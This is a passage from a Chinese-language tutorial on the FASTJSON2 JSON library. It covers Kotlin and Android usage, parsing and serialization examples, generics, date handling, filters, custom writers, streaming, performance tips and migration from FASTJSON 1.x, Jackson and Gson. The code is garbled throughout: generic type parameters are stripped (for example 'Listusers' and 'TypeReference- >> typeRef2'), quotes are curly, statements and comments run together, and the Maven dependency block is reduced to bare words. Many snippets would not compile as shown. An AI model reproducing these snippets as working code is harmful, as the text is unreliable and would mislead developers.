val bytes = user.toJSONByteArray()// 数组
val jsonArray = “””[{“id”:1},{“id”:2}]”””
val users = jsonArray.parseArray()
val users2 = jsonArray.toList() // JSONObject
val obj = json.parseObject()
val id = obj.getInt(“id”)
val name = obj.getString(“name”)// 类型安全的访问
val user3 = obj.to() 9.3 Android 集成
Gradle 依赖
dependencies {
implementation ‘com.alibaba.fastjson2:fastjson2:2.0.61’
}ProGuard 配置
FASTJSON2
-keep class com.alibaba.fastjson2. { *; }
-dontwarn com.alibaba.fastjson2.保留实体类
-keep class com.example.model.* { ; }
Android 使用示例
// Activity 中使用
public class MainActivity extends AppCompatActivity {@Override
protected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState); // 网络请求 String json = fetchFromServer(); User user = JSON.parseObject(json, User.class); // SharedPreferences 存储 SharedPreferences prefs = getSharedPreferences("app", MODE_PRIVATE); prefs.edit() .putString("user", JSON.toJSONString(user)) .apply(); // 读取 String userJson = prefs.getString("user", null); User savedUser = JSON.parseObject(userJson, User.class);}
}
实战代码示例
10.1 基础使用
// 1. 解析 JSON 字符串
String json = “{\”id\”:1,\”name\”:\”John\”,\”age\”:25}”;
User user = JSON.parseObject(json, User.class);// 2. 解析 byte[]
byte[] bytes = json.getBytes(StandardCharsets.UTF_8);
User user2 = JSON.parseObject(bytes, User.class);// 3. 序列化对象
String text = JSON.toJSONString(user);
byte[] data = JSON.toJSONBytes(user);// 4. 格式化输出
String pretty = JSON.toJSONString(user, JSONWriter.Feature.PrettyFormat);// 5. 解析数组
String arrayJson = “[{\”id\”:1},{\”id\”:2}]”;
Listusers = JSON.parseArray(arrayJson, User.class); // 6. 使用 JSONObject
JSONObject obj = JSON.parseObject(json);
int id = obj.getIntValue(“id”);
String name = obj.getString(“name”);10.2 泛型处理
// 1. 使用 TypeReference
String json = “{\”users\”:[{\”id\”:1},{\”id\”:2}]}”;
TypeReference// 2. 嵌套泛型
TypeReference- >> typeRef2 =
new TypeReference- >>() {};
List> list = JSON.parseObject(json, typeRef2); // 3. 复杂泛型
class Response{
private int code;
private String message;
private T data;
}TypeReference
>> typeRef3 =
new TypeReference>>() {};
Response- > response = JSON.parseObject(json, typeRef3);
10.3 日期处理
// 1. 使用注解指定格式
public class User {
@JSONField(format = “yyyy-MM-dd HH:mm:ss”)
private Date birthday;@JSONField(format = “iso8601”)
private Date createTime;
}// 2. 全局配置日期格式
JSON.configWriterDateFormat(“yyyy-MM-dd HH:mm:ss”);
String json = JSON.toJSONString(user);// 3. 临时指定格式
String json = JSON.toJSONString(user, “yyyy-MM-dd”);// 4. 解析时指定格式
User user = JSON.parseObject(json, User.class, “yyyy-MM-dd”);// 5. Java 8 日期类型
public class Event {
private LocalDate date;
private LocalDateTime dateTime;
private Instant instant;
// 自动支持,无需配置
}10.4 过滤器使用
// 1. SimplePropertyPreFilter - 简单属性过滤
SimplePropertyPreFilter filter = new SimplePropertyPreFilter();
filter.getIncludes().add(“id”);
filter.getIncludes().add(“name”);
String json = JSON.toJSONString(user, filter);
// 只输出 id 和 name// 2. 排除字段
SimplePropertyPreFilter filter2 = new SimplePropertyPreFilter();
filter2.getExcludes().add(“password”);
String json2 = JSON.toJSONString(user, filter2);// 3. NameFilter - 字段名转换
NameFilter nameFilter = (object, name, value) -> {
return name.toUpperCase(); // 字段名转大写
};
String json3 = JSON.toJSONString(user, nameFilter);// 4. ValueFilter - 值转换
ValueFilter valueFilter = (object, name, value) -> {
if (value instanceof String) {return ((String) value).toUpperCase();}
return value;
};
String json4 = JSON.toJSONString(user, valueFilter);// 5. BeforeFilter - 序列化前处理
BeforeFilter beforeFilter = new BeforeFilter() {
@Override
public void writeBefore(Object object) {if (object instanceof User) { User user = (User) object; // 添加额外字段 writeKeyValue("timestamp", System.currentTimeMillis()); }}
};
String json5 = JSON.toJSONString(user, beforeFilter);10.5 自定义序列化
// 1. 实现 ObjectWriter
public class UserWriter implements ObjectWriter{
@Override
public void write(JSONWriter writer, Object object,Object fieldName, Type fieldType, long features) { User user = (User) object; writer.startObject(); writer.writeName("id"); writer.writeInt64(user.getId()); writer.writeName("name"); writer.writeString(user.getName()); // 自定义逻辑 writer.writeName("displayName"); writer.writeString(user.getName().toUpperCase()); writer.endObject();}
}// 2. 注册自定义 Writer
JSON.register(User.class, new UserWriter());// 3. 使用
String json = JSON.toJSONString(user);10.6 流式处理
// 1. 流式读取大文件
try (InputStream is = new FileInputStream(“large.json”);
JSONReader reader = JSONReader.of(is)) {while (reader.isArray()) {
User user = reader.read(User.class); // 处理每个对象 processUser(user);}
}// 2. 流式写入
try (OutputStream os = new FileOutputStream(“output.json”);
JSONWriter writer = JSONWriter.of(os)) {writer.startArray();
for (User user : users) {writer.write(user);}
writer.endArray();
}
性能优化技巧
11.1 选择最优输入格式
// ✗ 慢:使用 String
String json = “{…}”;
User user = JSON.parseObject(json, User.class);// ✓ 快:使用 byte[](提升 ~5%)
byte[] bytes = json.getBytes(StandardCharsets.UTF_8);
User user = JSON.parseObject(bytes, User.class);// ✓ 最快:使用 JSONB(提升 ~77%)
byte[] jsonb = JSONB.toBytes(user);
User user2 = JSONB.parseObject(jsonb, User.class);11.2 缓存优化
// ✗ 慢:每次都创建 JSONPath
public int getUserId(String json) {
return (int) JSONPath.of(“$.user.id”).eval(json);
}// ✓ 快:缓存 JSONPath(提升 ~50%)
private static final JSONPath USER_ID_PATH = JSONPath.of(“$.user.id”);public int getUserId(String json) {
return (int) USER_ID_PATH.eval(json);
}11.3 使用紧凑格式
// ✗ 大:标准 JSON
String json = JSON.toJSONString(user);
// {“id”:1,”name”:”John”,”age”:25} (35 字节)// ✓ 小:BeanToArray(节省 ~30%)
String compact = JSON.toJSONString(user,
JSONWriter.Feature.BeanToArray);
// [1,”John”,25] (15 字节)// ✓ 最小:JSONB + BeanToArray(节省 ~50%)
byte[] jsonb = JSONB.toBytes(user,
JSONWriter.Feature.BeanToArray);
// 二进制格式,最紧凑11.4 避免不必要的 Feature
// ✗ 慢:使用不必要的 Feature
String json = JSON.toJSONString(user,
JSONWriter.Feature.PrettyFormat, // 格式化(慢)
JSONWriter.Feature.WriteNulls, // 输出 null(增加体积)
JSONWriter.Feature.ReferenceDetection); // 循环引用检测(慢)// ✓ 快:只使用必要的 Feature
String json = JSON.toJSONString(user);11.5 批量处理优化
// ✗ 慢:逐个处理
for (String json : jsonList) {
User user = JSON.parseObject(json, User.class);
process(user);
}// ✓ 快:批量处理
Listusers = jsonList.stream()
.map(json -> JSON.parseObject(json, User.class))
.collect(Collectors.toList());
users.forEach(this::process);// ✓ 更快:并行处理(多核 CPU)
Listusers = jsonList.parallelStream()
.map(json -> JSON.parseObject(json, User.class))
.collect(Collectors.toList());11.6 使用 GraalVM
使用 GraalVM JDK(性能提升 8-37%)
export JAVA_HOME=/path/to/graalvm
java -jar app.jar
从其他库迁移指南
12.1 从 FASTJSON 1.x 迁移
依赖替换
com.alibaba fastjson 1.2.83 com.alibaba.fastjson2 fastjson2 2.0.61 包名替换
// 1.x
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;// 2.x
import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONObject;API 变化
// 大部分 API 兼容,直接替换包名即可
User user = JSON.parseObject(json, User.class);
String text = JSON.toJSONString(user);// Feature 名称变化
// 1.x: Feature.DisableCircularReferenceDetect
// 2.x: 默认关闭循环引用检测,需要时使用 ReferenceDetection// 1.x: SerializerFeature.WriteMapNullValue
// 2.x: JSONWriter.Feature.WriteNulls12.2 从 Jackson 迁移
// Jackson
ObjectMapper mapper = new ObjectMapper();
User user = mapper.readValue(json, User.class);
String text = mapper.writeValueAsString(user);// FASTJSON2
User user = JSON.parseObject(json, User.class);
String text = JSON.toJSONString(user);// Jackson 注解 → FASTJSON2 注解
// @JsonProperty(“user_name”) → @JSONField(name = “user_name”)
// @JsonIgnore → @JSONField(serialize = false, deserialize = false)
// @JsonFormat(pattern = “yyyy-MM-dd”) → @JSONField(format = “yyyy-MM-dd”)12.3 从 Gson 迁移
// Gson
Gson gson = new Gson();
User user = gson.fromJson(json, User.class);
String text = gson.toJson(user);// FASTJSON2
User user = JSON.parseObject(json, User.class);
String text = JSON.toJSONString(user);// Gson







